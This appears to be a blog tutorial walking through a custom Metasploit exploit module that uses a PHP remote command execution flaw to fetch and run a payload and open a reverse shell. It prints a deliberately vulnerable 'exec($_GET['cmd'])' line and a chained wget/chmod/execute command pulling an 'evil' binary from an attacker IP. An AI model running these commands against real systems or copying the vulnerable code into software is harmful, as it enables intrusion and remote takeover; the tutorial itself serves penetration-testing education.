Lets go through an exploit module I built for Metasploit Framework.
In a nutshell, the exploit contains only a couple of key elements – a HTTP Client and Server and a generated malicious payload.
I needed an easy way to abuse a Remote Command Execution vulnerability. A full exploit module that would generate the selected payload and return a meterpreter reverse shell back to me. All in one go.
Generally, exploit development is much more time consuming – and sometimes even more difficult – than just “triggering” the found vulnerability with a HTTP Request for instance.
What this exploit module does, is it exploits a RCE vulnerability via a malicious HTTP GET request.
Whats required from the victim, is that a linux ‘wget’ tool is installed, which is very common. … and of course that there is a RCE vulnerability that allows the attacker to run shell commands.
Here is an example of PHP Code that would create such a vulnerability.
https://rot.fi/vulnerable_url.php: <?php exec($_GET['cmd']); ?>
You would simple call this URL by https://rot.fi/vulnerable_url.php?cmd=hostname
and that would result the backend webserver to run this the supplied command ‘hostname’. You wouldn’t see the result on page, as it is not printed on it.
I’ll break down the module and try to explain each part of it.
In order to get this module working, we need to define that it’s a Metasploit Exploit Module, and include the required libraries.
To define a module type, you define it in the class MetasploitModule < Msf::Exploit.
For an auxiliary module, you would use class MetasploitModule < Msf::Auxiliary
class MetasploitModule < Msf::Exploit
Msf::Exploit::EXE, is what you need to generate a binary payload.
This guy is essential to our specific need to respond to a HTTP GET request with a file that’s loaded with goodies.
Msf::Exploit::Remote::HttpClient , is what we’ll be using to poke the target and have it request a file from us.
HttpClient will introduce you to four extra Opts – RHOST, RPORT,SSL and VHOST – which will be used to define which server and port we want use to send the HTTP requests to and VHOST for defining what kind of HTTP Host-header we want to use. The SSL Opt is a boolean defining whether or not the client connection is encrypted.
Above, I gave you an example of running a ‘hostname‘ command on the vulnerable server, which would likely be of no benefit to the attacker.
For this case, I would use a chained command that would firstly download my evil binary payload, give it execute permissions and then run it…
…like ‘wget 10.0.0.1/evil -O /tmp/evil;chmod 777 /tmp/evil;/tmp/evil‘
In a HTTP Request, it would look something like this
https://rot.fi/vulnerable_url.php?cmd=wget 10.0.0.1/evil -O /tmp/evil
https://rot.fi/vulnerable_url.php?cmd=chmod 777 /tmp/evil
Msf::Exploit::Remote::HttpServer::HTML, is what we use to deliver requested the payload.
The HttpServer will introduce you to two extra Opts, SRVHOST and SRVPORT and it has two key functions you need to notice. The Opts will define which IP and port the HttpServer will bind to.
What is defined here runs when the HttpServer is started but still before any connections are accepted in.
We don’t need to do anything here, this time.
def on_request_uri(cli, req)
This function is called each time a request comes in.
What is noteworthy is that the on_request_uri is called when the exact URI is called, which we will be defining later in the module.
In this function I’m generating the binary payload on each request and sending it back to the client.
What the payload will contain, will be the one you choose while configuring the exploit.
For an exploit module, you need to define a target, and the register_options are used by the HTTP Server library.
In the initialize function you also define the Name, Author and License for your creation, among other things. For a BufferOverflow exploit, you’d define bad characters and usually multiple targets like kernel versions and such.
Also, notice that the register_options Opts are typecasted, to strings, integers, etc..
A Metasploit Exploit will be using a exploit and check functions.
This function is supposed to be used to check if the target is vulnerable. Sometimes its not even possible but its best to have even partial check than to launch an exploit script against a target that’s not even online.
The above check function sends a GET request at the RHOST and checks if the HTTP return code is OK or not.
Based on the HTTP code, we return a Vulnerable or a Safe status to the exploit module.
In most cases, this is where the magic happens.
You can rewrite Opts by manipulating the datastore array.
The HTTPServer is started as a new instance with the start_service() function.
By setting SSL Opt to true/false you can choose whether you want to start the HTTPServer with Transport Layer Security.
I’ve put in a sleep(150) because sometime it takes time for the victim to execute the payload, so we don’t want our script to die before that happens.
The actual exploitation takes place in the request function
So whats really cool about a exploit module like this, is that you get it all in the Swiss army knife we call Metasploit Framework.
Instead of using this module, we could do the same manually:
- Setup and configure an Apache Web server
- Create a binary payload with msfvenom manually
- Setup a Listener / Handler to grab the shell
- Trigger the vulnerability with curl/wget
Yes, I guess if you compare the time it takes to develop a working module to the time it takes to do the above four steps, the latter wins.
Let me demonstrate you how this is exploited via the working module.
Firstly, you need to download and add the module to Metasploit
git clone https://github.com/jake08/Metasploit mv Metasploit/rot_rce.rb /usr/share/metasploit-framework/modules/exploits/linux/http
Then start up msfconsole and find the module
Then use and set it up according to your network
here’s a friendly reminder what’s what:
- RHOST => Target Host that has the RCE Vulnerability
- RPORT => Target Port for the above server
- SRVHOST => The IP for the Local HTTP Server, make sure its reachable by RHOST
- SRVPORT => Port for the above Server
- VHOST => Virtual Host, or HTTP Host-header for RHOST eg. amazon.com, rot.fi
- WRITABLEDIR => A Directory on the RHOST where we can drop the payload
- PAYLOAD => Your friendly neighborhood reverse shell
- LHOST => Return IP for the reverse shell, make sure its reachable by RHOST
- LPORT => Port for above server